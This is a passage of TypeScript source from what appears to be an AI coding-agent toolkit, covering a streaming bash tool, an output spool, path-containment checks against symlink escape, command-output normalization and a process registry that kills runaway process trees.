() => killWithTimeout(child, 2000);\n if (isWin) {\n if (opts.signal.aborted) onAbort();\n else opts.signal.addEventListener('abort', onAbort, { once: true });\n }\n\n // Bridge the EventEmitter-style child to an async iterator.\n type Chunk =\n | { kind: 'data'; text: string }\n | { kind: 'end'; code: number | null }\n | { kind: 'error'; err: Error };\n const queue: Chunk[] = [];\n let resolveNext: ((c: Chunk) => void) | null = null;\n const push = (c: Chunk) => {\n if (resolveNext) {\n const r = resolveNext;\n resolveNext = null;\n r(c);\n } else {\n queue.push(c);\n }\n };\n const next = (): Promise<Chunk> =>\n new Promise((resolve) => {\n const c = queue.shift();\n if (c) resolve(c);\n else resolveNext = resolve;\n });\n\n let lastFlush = Date.now();\n const flush = () => {\n if (pending.length === 0) return null;\n const text = pending;\n pending = '';\n lastFlush = Date.now();\n return text;\n };\n\n // Backpressure: when the consumer falls behind, pause the pipes instead\n // of letting `queue`/`pending` grow without bound. The child eventually\n // blocks on write, which is the correct pressure signal.\n let paused = false;\n const pauseIfFlooded = () => {\n if (!paused && queue.length >= MAX_QUEUE_CHUNKS) {\n paused = true;\n child.stdout?.pause();\n child.stderr?.pause();\n }\n };\n const resumeIfDrained = () => {\n if (paused && queue.length < MAX_QUEUE_CHUNKS) {\n paused = false;\n child.stdout?.resume();\n child.stderr?.resume();\n }\n };\n const onData = (chunk: Buffer, stream: 'stdout' | 'stderr') => {\n const text = chunk.toString();\n if (stream === 'stdout') stdoutBytes += chunk.byteLength;\n else stderrBytes += chunk.byteLength;\n emitProcessOutput({ pid, stream, chunk });\n // Cap buf during accumulation to prevent heap exhaustion from unbounded\n // string growth. exec.ts uses the same pattern. The final output is\n // further normalized via normalizeCommandOutput which already caps at\n // MAX_OUTPUT (32 KB). The spool captures the FULL output on disk.\n if (buf.length < MAX_OUTPUT) {\n buf += text.slice(0, MAX_OUTPUT - buf.length);\n }\n spool.write(text);\n pending += text;\n push({ kind: 'data', text });\n pauseIfFlooded();\n };\n const onStdoutData = (chunk: Buffer) => onData(chunk, 'stdout');\n const onStderrData = (chunk: Buffer) => onData(chunk, 'stderr');\n child.stdout?.on('data', onStdoutData);\n child.stderr?.on('data', onStderrData);\n\n child.on('error', (err) => {\n for (const t of timers) clearTimeout(t);\n registry.afterCall(Date.now() - startedAt, true);\n completeForeground(1);\n push({ kind: 'error', err });\n });\n child.on('close', (code, signal) => {\n for (const t of timers) clearTimeout(t);\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, code !== 0 && code !== null);\n completeForeground(timedOut ? 124 : (code ?? (signal ? 1 : 0)), signal ?? undefined);\n push({ kind: 'end', code });\n });\n\n try {\n while (true) {\n const c = await next();\n resumeIfDrained();\n if (c.kind === 'error') throw c.err;\n if (c.kind === 'end') {\n const remainder = flush();\n if (remainder !== null) {\n yield { type: 'partial_output', text: remainder };\n }\n const spooled = spool.finalize();\n // Advisory bash-ism guard: on a genuine non-zero exit (not a\n // timeout), if the command used POSIX syntax the resolved Windows\n // shell can't accept, append a targeted hint so the model rewrites it\n // next turn. Never mutates/blocks; silent on success and on POSIX.\n const hint =\n !timedOut && typeof c.code === 'number' && c.code !== 0 && winShellKind\n ? diagnoseBashism(input.command, winShellKind)\n : undefined;\n yield {\n type: 'final',\n output: {\n output:\n normalizeCommandOutput(buf) +\n (spooled ? spoolNote(spooled) : '') +\n (hint ? `\\n\\n${hint}` : ''),\n exit_code: c.code,\n timed_out: timedOut,\n },\n };\n // P2 #5: record the command execution as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command) },\n outcome: timedOut\n ? `timed out (exit ${c.code})`\n : `exit ${c.code}`,\n risk: 'shell',\n });\n return;\n }\n const now = Date.now();\n if (pending.length >= STREAM_FLUSH_BYTES || now - lastFlush >= STREAM_FLUSH_INTERVAL_MS) {\n const text = flush();\n if (text) yield { type: 'partial_output', text };\n }\n }\n } finally {\n for (const t of timers) clearTimeout(t);\n spool.finalize(); // idempotent \u2014 closes the file if the stream was abandoned\n if (isWin) opts.signal.removeEventListener('abort', onAbort);\n // Teardown: this generator can be abandoned mid-stream (executor\n // timeout, abort, consumer error). The data handlers above would\n // otherwise stay attached and keep appending to `pending`/`queue`\n // with no consumer \u2014 on Windows a shell grandchild that survived\n // child.kill() can feed the orphaned pipes for the rest of the\n // session, growing the host heap until OOM. Detach the handlers,\n // destroy the pipes, and make sure nothing is still running.\n child.stdout?.off('data', onStdoutData);\n child.stderr?.off('data', onStderrData);\n child.stdout?.destroy();\n child.stderr?.destroy();\n if (child.exitCode === null && !child.killed) {\n if (typeof pid === 'number') registry.kill(pid, { force: true });\n else killWithTimeout(child, 2000);\n }\n }\n },\n\n /**\n * Tool-level teardown fired by `ToolExecutor.runToolCleanup()` when the\n * tool's run is aborted/timeout'd. The generator's `finally` block above\n * already force-kills the direct child, but that only runs if the\n * executor closes the async iterator (via `iter.return()`). When the\n * executor tears down without iterating \u2014 or a re-entrant abort races\n * with the generator \u2014 a bash-spawned process tree can survive in the\n * ProcessRegistry with `killed === false`, continuing to write files,\n * consume CPU, or hold inherited stdio pipes open for the rest of the\n * session.\n *\n * This is the defensive layer the executor calls via `tool.cleanup()`\n * (see `types/tool.ts`): kill every bash-owned process still tracked\n * for this session that hasn't exited yet. `registry.kill()` already\n * handles process-group / taskkill tree-kill and the SIGTERM\u2192SIGKILL\n * grace window, so this just scopes the registry's existing kill path\n * to \"this session's runaway bash children\". Idempotent \u2014 a process\n * that already exited is skipped by `kill()` (it returns false), and a\n * `protected` infrastructure process (dev server the user intentionally\n * backgrounded) is left alone by design.\n */\n async cleanup(_input: BashInput, ctx: Context): Promise<void> {\n const registry = getProcessRegistry();\n const sessionId = ctx.session?.id;\n if (!sessionId) return;\n for (const entry of registry.bySession(sessionId)) {\n if (entry.name !== 'bash') continue; // leave exec-spawned children alone\n if (entry.child.exitCode !== null) continue; // already reaped\n if (entry.protected) continue; // intentionally-backgrounded infra\n registry.kill(entry.pid, { force: true });\n }\n },\n};\n\n// Re-export types so consumers can narrow on stream events.\nexport type { BashInput, BashOutput };\n", "/**\n * Re-exported from @wrongstack/core. This file exists for backward\n * compatibility \u2014 tools/src/bash.ts and exec.ts import './_env.js'.\n */\nexport { buildChildEnv } from '@wrongstack/core';\n", "/**\n * _output-spool \u2014 file-based capture of FULL command output.\n *\n * Command tools (bash/exec and the _spawn-stream consumers) cap what they\n * keep in memory and what reaches the model (COMMAND_OUTPUT_MAX_BYTES head+\n * tail). Everything past the cap used to be silently dropped, which pushed\n * agents to re-run commands with bigger buffers or stuff huge outputs into\n * chat history. The spool keeps the host's memory and the context window\n * small while losing nothing: once a command's output exceeds the in-memory\n * threshold, the FULL stream is written to a log file under\n * `~/.wrongstack/tool-output/` and the capped tool result carries a\n * `[full output: <path>]` marker so the model can read/grep the file\n * selectively instead of dumping it into context.\n *\n * Properties:\n * - zero disk I/O for small outputs (file is created lazily on first byte\n * past the threshold; the buffered head is flushed at that moment)\n * - bounded memory: the head buffer never exceeds the threshold, and disk\n * backpressure drops chunks past a 4 MB writable-buffer high-water mark\n * (counted and reported in the marker) instead of queueing them on the heap\n * - best-effort: any fs error disables the spool silently \u2014 command tools\n * must never fail because diagnostics couldn't be written\n * - retention: spool files older than 7 days are swept once per process\n */\nimport { createWriteStream, mkdirSync, type WriteStream } from 'node:fs';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { wstackGlobalRoot } from '@wrongstack/core';\n\nconst SPOOL_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\n/** Stop queueing chunks on the heap when the fs stream falls this far behind. */\nconst SPOOL_WRITE_HWM_BYTES = 4 * 1024 * 1024;\n\nlet sweepStarted = false;\n\n/** Directory for spooled command output (under the wstack global root). */\nexport function toolOutputDir(): string {\n return path.join(wstackGlobalRoot(), 'tool-output');\n}\n\n/** Reset module state \u2014 test hook (per-process sweep memo + nothing else). */\nexport function _resetOutputSpoolForTests(): void {\n sweepStarted = false;\n}\n\nfunction sweepOldSpoolFiles(dir: string): void {\n if (sweepStarted) return;\n sweepStarted = true;\n void (async () => {\n try {\n const now = Date.now();\n for (const name of await fsp.readdir(dir)) {\n if (!name.endsWith('.log')) continue;\n const p = path.join(dir, name);\n try {\n const st = await fsp.stat(p);\n if (now - st.mtimeMs > SPOOL_RETENTION_MS) await fsp.unlink(p);\n } catch {\n /* concurrently removed \u2014 ignore */\n }\n }\n } catch {\n /* directory doesn't exist yet \u2014 nothing to sweep */\n }\n })();\n}\n\nexport interface SpoolInfo {\n /** Absolute path of the spool file. */\n path: string;\n /** Total bytes of output produced (including what reached the file). */\n bytes: number;\n /** Bytes dropped due to disk backpressure (0 in the normal case). */\n droppedBytes: number;\n}\n\nexport interface OutputSpool {\n /** Feed every raw output chunk. Never throws. */\n write(text: string): void;\n /**\n * Close the file (if one was opened) and return its info, or null when the\n * output never exceeded the threshold. Idempotent.\n */\n finalize(): SpoolInfo | null;\n}\n\nexport interface CreateOutputSpoolOptions {\n /** Tool name used in the spool filename (sanitized). */\n tool: string;\n /**\n * Output size at which the spool activates. Should match the tool's\n * in-memory cap so files are only created for output the model can't\n * already see in full. Default 32 KB.\n */\n thresholdBytes?: number | undefined;\n}\n\n/**\n * Render the marker line appended to a capped tool result. Kept in one place\n * so every command tool phrases it identically (and tests can match it).\n */\nexport function spoolNote(info: SpoolInfo): string {\n const dropped =\n info.droppedBytes > 0 ? `, ~${info.droppedBytes} bytes dropped under backpressure` : '';\n return `\\n[output truncated \u2014 full ${info.bytes} bytes at ${info.path}${dropped}; read/grep that file selectively instead of re-running with more output]`;\n}\n\nexport function createOutputSpool(opts: CreateOutputSpoolOptions): OutputSpool {\n const threshold = opts.thresholdBytes ?? 32_768;\n const safeTool = opts.tool.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 40) || 'tool';\n\n let head = '';\n let headBytes = 0;\n let totalBytes = 0;\n let droppedBytes = 0;\n let stream: WriteStream | null = null;\n let filePath: string | null = null;\n let failed = false;\n let finalized = false;\n\n const open = (): void => {\n if (stream || failed) return;\n try {\n const dir = toolOutputDir();\n // Synchronous on purpose: createWriteStream would race an async mkdir\n // and error with ENOENT. This runs at most once per oversized command,\n // and after the first call the dir exists (mkdirSync is a no-op stat).\n mkdirSync(dir, { recursive: true });\n sweepOldSpoolFiles(dir);\n const stamp = new Date().toISOString().replace(/[:.]/g, '-');\n const rand = Math.random().toString(36).slice(2, 6);\n filePath = path.join(dir, `${stamp}-${safeTool}-${rand}.log`);\n stream = createWriteStream(filePath, { flags: 'w', encoding: 'utf8' });\n stream.on('error', () => {\n // Disk full / permission \u2014 disable the spool, keep the tool alive.\n failed = true;\n stream = null;\n filePath = null;\n });\n // Flush the buffered head first so the file is the complete output.\n stream.write(head);\n } catch {\n failed = true;\n stream = null;\n filePath = null;\n }\n };\n\n return {\n write(text: string): void {\n if (finalized || !text) return;\n totalBytes += Buffer.byteLength(text, 'utf8');\n if (!stream && !failed) {\n if (headBytes + text.length <= threshold) {\n head += text;\n headBytes += text.length;\n return;\n }\n head += text; // include the crossing chunk so the file misses nothing\n open();\n head = ''; // flushed into the stream by open(); release the heap copy\n return;\n }\n if (stream) {\n if (stream.writableLength > SPOOL_WRITE_HWM_BYTES) {\n droppedBytes += Buffer.byteLength(text, 'utf8');\n return;\n }\n stream.write(text);\n }\n },\n finalize(): SpoolInfo | null {\n if (finalized) {\n return filePath ? { path: filePath, bytes: totalBytes, droppedBytes } : null;\n }\n finalized = true;\n head = '';\n if (!stream || !filePath) return null;\n try {\n stream.end();\n } catch {\n /* already closed */\n }\n return { path: filePath, bytes: totalBytes, droppedBytes };\n },\n };\n}\n", "import { createHash } from 'node:crypto';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport * as Core from '@wrongstack/core';\nimport type { Context } from '@wrongstack/core';\n\n/**\n * sha-256 hex of a UTF-8 string. Used by the file tools to record a content\n * hash alongside the mtime in `ctx.recordRead` \u2014 the hash is the authoritative\n * staleness arbiter for `edit` (mtime has a 2 s tolerance window on Windows).\n */\nexport function sha256hex(content: string): string {\n return createHash('sha256').update(content, 'utf8').digest('hex');\n}\n/** Detected package manager for a project directory. */\nexport type PackageManager = 'pnpm' | 'yarn' | 'npm';\n\n/**\n * Detect the project's package manager by inspecting lockfiles in `cwd`.\n * Order: pnpm \u2192 yarn \u2192 npm (default). Missing or unreadable directories fall\n * back to `npm` rather than throwing, so a `safeResolve`-checked cwd that\n * happens to be empty never aborts the tool.\n */\nexport async function detectPackageManager(cwd: string): Promise<PackageManager> {\n const { stat } = await import('node:fs/promises');\n try {\n await stat(`${cwd}/pnpm-lock.yaml`);\n return 'pnpm';\n } catch {\n /* not pnpm */\n }\n try {\n await stat(`${cwd}/yarn.lock`);\n return 'yarn';\n } catch {\n /* not yarn */\n }\n return 'npm';\n}\n\nexport function resolvePath(input: string, ctx: Context): string {\n return path.isAbsolute(input) ? path.normalize(input) : path.resolve(ctx.workingDir ?? ctx.cwd, input);\n}\n\n/**\n * Roots every file tool may always reach, even in restricted mode: the\n * project root and the user-global `~/.wrongstack` directory (config, memory,\n * sessions, skills). `~/.wrongstack` honors the `WRONGSTACK_HOME` override.\n */\nfunction allowedRoots(ctx: Context): string[] {\n return [path.resolve(ctx.projectRoot), path.resolve(Core.wstackGlobalRoot())];\n}\n\n/** True if `target` is `root` itself or nested inside any of `roots`. */\nfunction isInsideAny(target: string, roots: string[]): boolean {\n return roots.some((root) => {\n const rel = path.relative(root, target);\n return rel === '' || (!rel.startsWith('..') && !path.isAbsolute(rel));\n });\n}\n\nexport function ensureInsideRoot(absPath: string, ctx: Context): string {\n const target = path.resolve(absPath);\n // Unrestricted filesystem access: skip the project-root containment check.\n if (ctx.allowOutsideProjectRoot) return target;\n if (isInsideAny(target, allowedRoots(ctx))) return target;\n throw new Error(`Path \"${absPath}\" is outside project root \"${path.resolve(ctx.projectRoot)}\"`);\n}\n\nexport function safeResolve(input: string, ctx: Context): string {\n return ensureInsideRoot(resolvePath(input, ctx), ctx);\n}\n\n/**\n * Defense against in-root\u2192out-of-root symlink escape (CWE-59). `safeResolve`\n * only does a syntactic `../` check, so a symlink that lives *inside* the\n * project root but points outside still passes it. This resolves the path\n * through `fs.realpath` and re-verifies containment against the realpath of\n * the project root (comparing like-for-like, since the root itself may be a\n * symlink \u2014 macOS `/var`\u2192`/private/var`, Windows 8.3 short names). For a path\n * that does not exist yet (e.g. a `write` to a new file) the nearest existing\n * ancestor directory is checked instead. Throws if the real target escapes.\n *\n * Mirrors the per-file guard already used in `replace.ts`/`grep.ts`; applied\n * to single-file `read`/`edit`/`write` it throws (rather than skips) because\n * the caller named exactly one file.\n */\nexport async function assertRealInsideRoot(absPath: string, ctx: Context): Promise<void> {\n // Unrestricted filesystem access: no symlink-escape check to perform.\n if (ctx.allowOutsideProjectRoot) return;\n // Compare like-for-like against the realpath of each always-allowed root\n // (project root + ~/.wrongstack), since a root may itself be a symlink.\n const realRoots = await Promise.all(\n allowedRoots(ctx).map((r) => fsp.realpath(r).catch(() => path.resolve(r))),\n );\n let probe = absPath;\n for (;;) {\n let real: string;\n try {\n real = await fsp.realpath(probe);\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n const parent = path.dirname(probe);\n if (parent === probe) return; // reached fs root without escaping\n probe = parent;\n continue;\n }\n throw err;\n }\n if (isInsideAny(real, realRoots)) return;\n throw new Error(\n `Path \"${absPath}\" resolves through a symlink outside project root \"${realRoots[0]}\"`,\n );\n }\n}\n\n/** `safeResolve` + symlink realpath containment check. Async. */\nexport async function safeResolveReal(input: string, ctx: Context): Promise<string> {\n const abs = safeResolve(input, ctx);\n await assertRealInsideRoot(abs, ctx);\n return abs;\n}\n\nexport function truncateMiddle(s: string, max: number): string {\n if (Buffer.byteLength(s, 'utf8') <= max) return s;\n const half = Math.floor(max / 2);\n return (\n s.slice(0, half) +\n `\\n\u2026[truncated ${Buffer.byteLength(s, 'utf8') - max} bytes from middle]\u2026\\n` +\n s.slice(-half)\n );\n}\n\nexport function isBinaryBuffer(buf: Buffer): boolean {\n const len = Math.min(buf.length, 8192);\n for (let i = 0; i < len; i++) {\n if (buf[i] === 0) return true;\n }\n return false;\n}\n\n// \u2500\u2500\u2500 Command-output normalization (token-saving) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n//\n// Raw process output is full of tokens the model gains nothing from: ANSI\n// escapes, carriage-return progress spam, runs of identical warning lines, and\n// huge tails of build noise. These helpers strip that noise before the output\n// reaches the LLM. They are scoped to COMMAND tools (bash/git/exec and the\n// _spawn-stream consumers) \u2014 never applied to structured/code outputs.\n\n/** Unified byte cap for all command tool output fed to the model. */\nexport const COMMAND_OUTPUT_MAX_BYTES = 32_768;\n\n/** Runs of >= this many identical consecutive lines are collapsed. */\nconst REPEAT_RUN_THRESHOLD = 3;\n\n/**\n * Collapse carriage-return overwrites the way a terminal would: `\\r\\n` becomes\n * `\\n`, and a bare `\\r` (progress redraw) keeps only the text after the LAST\n * `\\r` on its physical line. Without this, a single progress bar that redraws\n * 200 times explodes into 200 lines.\n */\nexport function collapseCarriageReturns(text: string): string {\n const lf = text.replace(/\\r\\n/g, '\\n');\n if (!lf.includes('\\r')) return lf;\n return lf\n .split('\\n')\n .map((line) => (line.includes('\\r') ? line.slice(line.lastIndexOf('\\r') + 1) : line))\n .join('\\n');\n}\n\n/**\n * Collapse a run of `minRun`+ identical consecutive lines into the line once\n * plus a marker. Consecutive-only \u2014 it never reorders or dedups non-adjacent\n * lines, so diffs/source stay intact.\n */\nexport function collapseConsecutiveDuplicates(text: string, minRun = REPEAT_RUN_THRESHOLD): string {\n const lines = text.split('\\n');\n const out: string[] = [];\n let i = 0;\n while (i < lines.length) {\n let j = i + 1;\n while (j < lines.length && lines[j] === lines[i]) j++;\n const run = j - i;\n if (run >= minRun) {\n out.push(lines[i]!, `\u2026 \u27E8repeated ${run}\u00D7\u27E9`);\n } else {\n for (let k = i; k < j; k++) out.push(lines[k]!);\n }\n i = j;\n }\n return out.join('\\n');\n}\n\n/** Largest prefix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeHeadBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(0, mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(0, lo);\n}\n\n/** Largest suffix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeTailBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(s.length - mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(s.length - lo);\n}\n\n/**\n * Truncate to `maxBytes` keeping BOTH ends \u2014 the head (what ran / early context)\n * and the tail (errors and summaries usually land last), biased ~45/55 toward\n * the tail. The result never exceeds `maxBytes`.\n */\nexport function truncateHeadTail(s: string, maxBytes: number): string {\n const total = Buffer.byteLength(s, 'utf8');\n if (total <= maxBytes) return s;\n // Reserve a fixed allowance for the marker so the final string can't exceed\n // the cap even though the dropped-byte count's digit width varies.\n const MARKER_RESERVE = 64;\n const avail = Math.max(0, maxBytes - MARKER_RESERVE);\n const headBudget = Math.floor(avail * 0.45);\n const head = takeHeadBytes(s, headBudget);\n const tail = takeTailBytes(s, avail - Buffer.byteLength(head, 'utf8'));\n const kept = Buffer.byteLength(head, 'utf8') + Buffer.byteLength(tail, 'utf8');\n return `${head}\\n\u2026[truncated ${total - kept} bytes]\u2026\\n${tail}`;\n}\n\n/**\n * Full token-saving pipeline for command tool output: strip ANSI \u2192 collapse\n * carriage-return progress \u2192 trim trailing whitespace \u2192 collapse identical\n * consecutive lines \u2192 squeeze blank-line runs \u2192 head+tail truncate to the cap.\n */\nexport function normalizeCommandOutput(\n raw: string,\n opts: { maxBytes?: number | undefined } = {},\n): string {\n if (!raw) return raw;\n let text = Core.stripAnsi(raw);\n text = collapseCarriageReturns(text);\n text = text.replace(/[ \\t]+$/gm, ''); // trailing whitespace per line\n text = collapseConsecutiveDuplicates(text);\n text = text.replace(/\\n{3,}/g, '\\n\\n'); // >=2 blank lines \u2192 1\n return truncateHeadTail(text, opts.maxBytes ?? COMMAND_OUTPUT_MAX_BYTES);\n}\n", "/**\n * ProcessRegistry \u2014 global singleton that tracks all spawned child processes\n * from `bash` and `exec` tools. Enables:\n *\n * - Listing active processes (for TUI status bar)\n * - Killing individual processes or all processes (for Ctrl+C and /kill)\n * - Detecting runaway processes (hung, looping)\n * - Circuit breaker integration to prevent recursive/repeated failures\n *\n * Thread-safety: Node.js is single-threaded, but async callbacks can fire\n * in any order. All mutations go through synchronized Map methods.\n */\nimport { spawn } from 'node:child_process';\nimport type { ChildProcess } from 'node:child_process';\nimport * as os from 'node:os';\nimport { CircuitBreaker, type CircuitBreakerSnapshot, type CircuitBreakerConfig } from './circuit-breaker.js';\nexport type { CircuitBreakerSnapshot, CircuitBreakerConfig } from './circuit-breaker.js';\n\nexport interface TrackedProcess {\n pid: number;\n name: string;\n /** Display-safe redacted command string \u2014 safe for logs, /ps, crash dumps.\n * Contains [REDACTED] in place of sensitive flag values. */\n command: string;\n startedAt: number;\n sessionId?: string | undefined;\n /** The raw ChildProcess handle. Never call .kill() directly on this \u2014\n * use `kill()` below which handles process groups correctly on POSIX\n * and degrades gracefully on Windows. */\n child: ChildProcess;\n /** True only when this child was spawned as a POSIX process-group/session\n * leader (for example `spawn(..., { detached: true })`) and `pid` is the\n * actual `child.pid`. Negative-PID signaling is host-wide dangerous for\n * values like -1, so tests and manually registered entries must not opt in. */\n processGroupLeader?: boolean | undefined;\n /** True once the process has been kill()ed but not yet exited.\n * We keep it in the registry until 'close' fires so callers can\n * distinguish \"still running\" from \"just exited\". */\n killed: boolean;\n /** If true, kill() and killAll() will refuse to kill this process.\n * Used for infrastructure processes (browser, dev servers, \u2026) that\n * must outlive the agent session. */\n protected: boolean;\n}\n\n// redactCommand (and its sensitive-flag patterns) lives in _redact-command.ts\n// so registry-only consumers (e.g. ps-slash) don't carry its dependencies.\n// Re-exported here to keep this module's historical public API intact.\nexport { redactCommand } from './_redact-command.js';\n\ninterface KillOpts {\n /** SIGKILL instead of SIGTERM. Default: false (SIGTERM first). */\n force?: boolean | undefined;\n /** MS to wait between SIGTERM and SIGKILL on POSIX. Default: 2000. */\n graceMs?: number | undefined;\n}\n\n/**\n * Snapshot of the armed auto kill/reset countdown, or null when nothing is\n * armed. `remainingMs` ticks down in real time; the TUI statusline renders it.\n */\nexport interface BreakerCountdown {\n remainingMs: number;\n totalMs: number;\n}\n\ntype BreakerCountdownListener = (snapshot: BreakerCountdown | null) => void;\n\nexport interface RegistryStats {\n activeCount: number;\n totalCount: number;\n breaker: CircuitBreakerSnapshot;\n}\n\nconst DEFAULT_GRACE_MS = 2000;\nconst WIN32_TASKKILL_TIMEOUT_MS = 5000;\n\ninterface Win32TreeKillOptions {\n /**\n * Upper bound for taskkill itself before the caller's fallback may run.\n * This is deliberately separate from POSIX SIGTERM grace: on Windows the\n * direct-child fallback must not fire while taskkill is still walking the\n * child tree, or it can orphan grandchildren that keep stdio open.\n */\n timeoutMs?: number | undefined;\n onSettled?: (() => void) | undefined;\n}\n\n/**\n * Kill an entire process tree on Windows via `taskkill /T /F`.\n *\n * TerminateProcess (what `child.kill()` maps to) has no process-group\n * semantics, so killing a shell wrapper (`cmd.exe /c \u2026`) orphans its\n * grandchildren (node, vitest forks, dev servers). The orphans inherit the\n * parent's stdio pipe handles and can keep streaming into this process for\n * the rest of the session \u2014 which both prevents the child's 'close' event\n * from ever firing and grows in-memory output buffers without bound.\n *\n * Returns true if taskkill was spawned, false if spawning it failed (caller\n * should fall back to a direct `child.kill()`). Callers that need a direct\n * fallback should pass `onSettled`; it runs after taskkill exits, errors, or\n * exceeds `timeoutMs`, avoiding the race where killing cmd.exe first prevents\n * taskkill from enumerating and killing grandchildren.\n */\nexport function killWin32Tree(pid: number, opts: Win32TreeKillOptions = {}): boolean {\n try {\n const child = spawn('taskkill', ['/pid', String(pid), '/T', '/F'], {\n stdio: 'ignore',\n windowsHide: true,\n });\n let settled = false;\n let timeout: ReturnType<typeof setTimeout> | undefined;\n const settle = () => {\n if (settled) return;\n settled = true;\n if (timeout) clearTimeout(timeout);\n try {\n opts.onSettled?.();\n } catch {\n /* fallback callbacks are best-effort */\n }\n };\n // spawn() reports a failure to launch (e.g. taskkill not on PATH, blocked by\n // security software) via an ASYNC 'error' event \u2014 the surrounding try/catch\n // only traps synchronous throws. Without a listener that event is unhandled\n // and crashes the whole process. Swallow it: this is best-effort tree-kill\n // and the registry still has the direct child.kill() fallback.\n child.on('error', settle);\n child.on('close', settle);\n timeout = setTimeout(() => {\n try {\n child.kill();\n } catch {\n /* already exited */\n }\n settle();\n }, Math.max(1, opts.timeoutMs ?? WIN32_TASKKILL_TIMEOUT_MS));\n timeout.unref?.();\n child.unref();\n return true;\n } catch {\n return false;\n }\n}\n\nexport class ProcessRegistryImpl {\n private readonly processes = new Map<number, TrackedProcess>();\n private readonly breaker: CircuitBreaker;\n\n /**\n * Auto kill/reset config. When the breaker trips and `autoKillResetMs > 0`,\n * a countdown is armed; on expiry all tracked processes are killed and the\n * breaker is reset to closed (forced recovery). Zero means manual recovery\n * only (`/kill reset`).\n */\n private autoKillResetMs = 0;\n private autoKillTimer: ReturnType<typeof setTimeout> | null = null;\n private autoKillArmedAt: number | null = null;\n private breakerCountdownListeners: BreakerCountdownListener[] = [];\n\n constructor(breakerConfig?: CircuitBreakerConfig) {\n this.breaker = new CircuitBreaker(breakerConfig);\n // Arm on trip, cancel on recovery. Listeners are best-effort.\n this.breaker.onTrip = () => this._armAutoKillReset();\n this.breaker.onReset = () => this._cancelAutoKillReset();\n // Protection is OFF by default \u2014 the user opts in via `/settings breaker on`.\n this.breaker.setEnabled(false);\n }\n\n register(info: Omit<TrackedProcess, 'killed' | 'protected'> & { protected?: boolean | undefined }): void {\n this.processes.set(info.pid, { ...info, killed: false, protected: info.protected ?? false });\n }\n\n private _isSafeSignalPid(pid: number): boolean {\n return Number.isInteger(pid) && pid > 1 && pid !== process.pid && pid !== process.ppid;\n }\n\n private _canSignalProcessGroup(p: TrackedProcess): boolean {\n return (\n os.platform() !== 'win32' &&\n p.processGroupLeader === true &&\n this._isSafeSignalPid(p.pid) &&\n typeof p.child.pid === 'number' &&\n p.child.pid === p.pid\n );\n }\n\n private _killChildDirect(p: TrackedProcess, signal: NodeJS.Signals): void {\n try {\n p.child.kill(signal);\n } catch {\n // Process may have already exited, or this may be a persistent entry\n // without a live ChildProcess handle in the current process.\n }\n }\n\n private _killPosix(p: TrackedProcess, signal: NodeJS.Signals): void {\n if (this._canSignalProcessGroup(p)) {\n try {\n process.kill(-p.pid, signal);\n return;\n } catch {\n // Process group may already be gone; fall back to the direct child.\n }\n }\n this._killChildDirect(p, signal);\n }\n\n /** Unregister a process by PID. Called on 'close' / 'exit' events. */\n unregister(pid: number): void {\n this.processes.delete(pid);\n }\n\n /** Get a single process by PID. */\n get(pid: number): TrackedProcess | undefined {\n this._pruneStale(pid);\n return this.processes.get(pid);\n }\n\n /** Get all tracked processes. */\n list(): TrackedProcess[] {\n return Array.from(this.processes.values());\n }\n\n /** Get processes filtered by name (e.g. 'bash', 'exec'). */\n byName(name: string): TrackedProcess[] {\n return this.list().filter((p) => p.name === name);\n }\n\n /** Get processes filtered by session. */\n bySession(sessionId: string): TrackedProcess[] {\n return this.list().filter((p) => p.sessionId === sessionId);\n }\n\n /** Count of active (non-killed) processes. */\n get activeCount(): number {\n let n = 0;\n for (const p of this.processes.values()) {\n if (!p.killed) n++;\n }\n return n;\n }\n\n /**\n * Combined stats for observability \u2014 used by /ps and the TUI status bar.\n */\n stats(): RegistryStats {\n return {\n activeCount: this.activeCount,\n totalCount: this.processes.size,\n breaker: this.breaker.snapshot(),\n };\n }\n\n /**\n * Returns true if the circuit allows a new bash/exec call to proceed.\n * When false, callers MUST NOT spawn a process.\n */\n get canProceed(): boolean {\n return this.breaker.canProceed;\n }\n\n /**\n * Called before spawning a process. Returns true if allowed; false if\n * the circuit breaker is open.\n *\n * @param bypass - If true, skip circuit breaker check (for background processes).\n */\n beforeCall(bypass = false): boolean {\n return this.breaker.beforeCall(bypass);\n }\n\n /**\n * Called after a process finishes. `durationMs` is wall-clock time;\n * `failed` is true for non-zero exit codes.\n *\n * @param bypass - If true, do not update circuit breaker state (for background processes).\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n this.breaker.afterCall(durationMs, failed, bypass);\n }\n\n /** Force-open the circuit breaker (Ctrl+C, /kill force). */\n forceBreakerOpen(): void {\n this.breaker.forceOpen();\n }\n\n /** Force-reset the circuit breaker to closed (/kill reset). */\n forceBreakerReset(): void {\n this.breaker.forceReset();\n }\n\n /**\n * Configure circuit-breaker protection at runtime. Called from `/settings`\n * 